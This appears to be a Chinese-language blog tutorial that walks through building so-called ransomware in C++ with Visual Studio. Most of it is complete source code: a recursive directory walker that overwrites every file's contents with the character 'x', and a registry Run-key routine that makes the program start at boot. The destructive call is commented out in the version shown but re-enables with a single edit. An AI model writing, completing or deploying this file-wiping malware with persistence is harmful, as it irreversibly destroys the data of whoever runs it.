这里我们先做一下准备:
1.在一个重要文件比较少的盘里创建一个文件夹,然后在这个文件夹下再创建很多个有内容的文本文档和文件夹。文本文档里可以根据需要是字母还是数字,还是什么字符**(总之它的ASCII码值比较好找就是了)**
如以下这种:
2.将勒索病毒的源代码保存在另一个盘的一个目录下,反正最后只需要.exe文件。
3.浅层的方法就是通过文件读写去 破坏里面的内容 修改或者加密
这个程序的关键是逻辑思维
4.计算机中所有的内容分为两种:都是树状结构
1)文件夹(也就是目录)
2)文件 exe txt doc .xsl avi pdf md
数字:一个字节
标点:两个字节
汉字:两个字节
我们的计算机系统,每个文件夹下都有两个默认的文件夹(人正常是看不到的)。
这两个目录大范围伤害可以碰(连上一级目录都破坏,那就是在破坏整个计算机系统),但是只是做普通的代码的话不要碰(后果比较麻烦)
但是在下面我们具体执行代码的时候,会递归到无限多个以 . 开头的文件,这样不是我们想要的,所以要避开 . 开头的文件。
接下来就一步步去做。去实现可加密、可还原、自启动、注册表。(目的)
勒索病毒调用的是随机加密算法库
步骤为:
1.获取当前程序所在的路径
2.探测当前路径下的内容
用 通配符 *.*
文件名.后缀名
3. 判断当前文件的属性
if(判断当前文件属性 == 如果是文件夹){
再次判断if(文件名的第一个字符是否为 != '.')
{
做接下来的操作
}
} else {
就是打开这个文件 对文件内容进行我们的“加密”
}
现在开始用VS2017编写代码。
除了源文件main.cpp之外,直接在头文件那里添加一个类就行。
顺便鼠标右键单击 LESUO ,出现属性,点击属性,调整一下。
这样更容易识别。
在这里千万不要点这个,要不然会出问题,直接最后生成的.exe文件拖动到目标测试文件夹里开始执行就行了↓↓↓↓▼▼▼∨∨∨。直接点重新生成就行
如果立即点了运行,你的源代码就被加密了
所以我们分三个文件去编写代码。
LESUO.h
#include<iostream>
#include<fstream>
#include<Windows.h>
using namespace std;
#pragma once
class LESUO
{
public:
void Run();
//运行病毒
private:
void FindFile(char* FileName); //查询文件
void OpenFile(char* FileName); //打开文件夹
};
LESUO.cpp
#include "LESUO.h"
//获取当前文件的内容
void LESUO::Run() {
//当前文件夹名字
char CurrentDirectoryName[256];
GetCurrentDirectory(256, CurrentDirectoryName);//获取当前文件路径名字
cout << "当前文件路径:" << CurrentDirectoryName << endl;
//我就要去查找当前这个路径下的所有信息/内容
FindFile(CurrentDirectoryName);//调用文件的查找
}
void LESUO::FindFile(char* FileName) {
//FileName+*.* 去查找
char PathName[256]; //用保存查找的路径
memset(PathName, 0, 256);//置空
sprintf(PathName, "%s\\%s", FileName, "*.*");//字符串拼接
cout << "当前要所搜的路径:" << PathName << endl;
WIN32_FIND_DATA FindData; //可以保存当前目标的信息
HANDLE hFile = FindFirstFile(PathName, &FindData);
char Temp[256];
int val = 1;
while (val) {
//如果我的文件属性 是文件夹
if (FindData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if (FindData.cFileName[0] != '.') {//判断文件夹名字是否为点
//执行下面的内容
memset(Temp, 0, 256);
//我想要破坏的文件也好/文件夹也罢 他的路径
//当前路径+文件夹名
sprintf(Temp, "%s\\%s", FileName, FindData.cFileName);
cout << "文件夹路径" << Temp << endl;
//如果我找到的是个文件夹的话 则继续查找里面的内容
FindFile(Temp); //递归
}
}
else { //不是文件夹就是文件
//执行下面的内容
memset(Temp, 0, 256);
//我想要破坏的文件也好/文件夹也罢 他的路径
//当前路径+文件名
sprintf(Temp, "%s\\%s", FileName, FindData.cFileName);
cout << "文件路径" << Temp << endl;
//OpenFile(Temp); //调用破坏文件方法
}
//如果下一个文件项目能够找到返回是1 找不到返回的是0
val = FindNextFile(hFile, &FindData);//查找下一个文件项目
}
}
void LESUO::OpenFile(char* FileName) {
fstream fp;
fp.open(FileName, ios::out | ios::in);
if (fp.is_open() == 0) {
cout << "文件无法打开" << endl;
return;
}
fp.seekg(0, ios::end);//首先把文件指针挪动到文件末尾
int size = fp.tellg();//从文件末尾向前计算文件的大小 单位:byte(字节)
fp.seekg(0, ios::beg);//把末尾的文件指针还原到最前方
char code = 'x';//字母 把文件里面的内容按照规律替换为'x'字符
for (int i = 0; i < size; i++) { //很难还原 加密/还原 做字符的偏移
fp.write(&code, sizeof(code)); //写入文件
fp.seekg(1, ios::cur); //破坏 无序列的操作
}
fp.close(); //关闭文件
}
LESUO.cpp
#include "LESUO.h"
#include <windows.h>
#include <stdio.h>
void AutoStart()
{
//找到系统的启动项
char *Register = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//这里编译器有可能会报错,所以这个地方我还没搞懂是怎么回事
char *Myapp = "D:\\_Code\\Apkudo\\LogTest\\Bin\\test.exe";
//char *Myapp = "D:\\_Code\\Bin\\GIVisualInspectD.exe";
HKEY hKey;
//打开注册表启动项
if (RegOpenKeyExA(HKEY_CURRENT_USER, Register, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
//添加一个子Key,并设置值,"Mytest"并不一定是应用程序名字(不加后缀.exe) ,可以自己设置;
RegSetValueExA(hKey, "Myapp", 0, REG_SZ, (BYTE *)Myapp, strlen(Myapp));
//关闭注册表
RegCloseKey(hKey);
printf("succeed!\n");
}
else
{
printf("Failed!");
}
}
void CancelAuto()
{
HKEY hKey;
char *RegPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//这里编译器有可能会报错,所以这个地方我还没搞懂是怎么回事
//1、找到系统的启动项
if (RegOpenKeyExA(HKEY_CURRENT_USER, RegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
//2、删除值
RegDeleteValueA(hKey, "Myapp");
//3、关闭注册表
RegCloseKey(hKey);
}
}
int main()
{ //自启动
AutoStart();
CancelAuto();
//病毒开始
LESUO lesuo;
lesuo.Run(); //启动病毒
return 0;
}
这里参考了下开机自启动的一篇文章:己编写的程序开机的时候自启
windows和linux编程一般以错误结束是返回 -1
可以参考WIN32_FIND_DATA结构详解
不懂的可以去微软构建学习。你可以去搜索一个函数名啊啥的,只要是在IDE里自带的都可以。
这里解释下为什么是这种写法。或者是 %s\%s 的写法。
因为:当你使用一个程序打开什么文件的时候,会有这种情况:
其实就是下边的解释:
关于写代码让程序自启动(用写入注册表的方式)
注册表
C++实现程序开机自启动
写了一个C++ 控制台应用程序,怎么让它开机启动?
c++ 让程序开机自动启动的方法
文末给几个相关视频的链接
C/C++实战之——勒索病毒原理解析
C语言之勒索病毒原理解析
作品C/C++技术教程:30分钟解析勒索病毒!程序员用C++技术知识,30分钟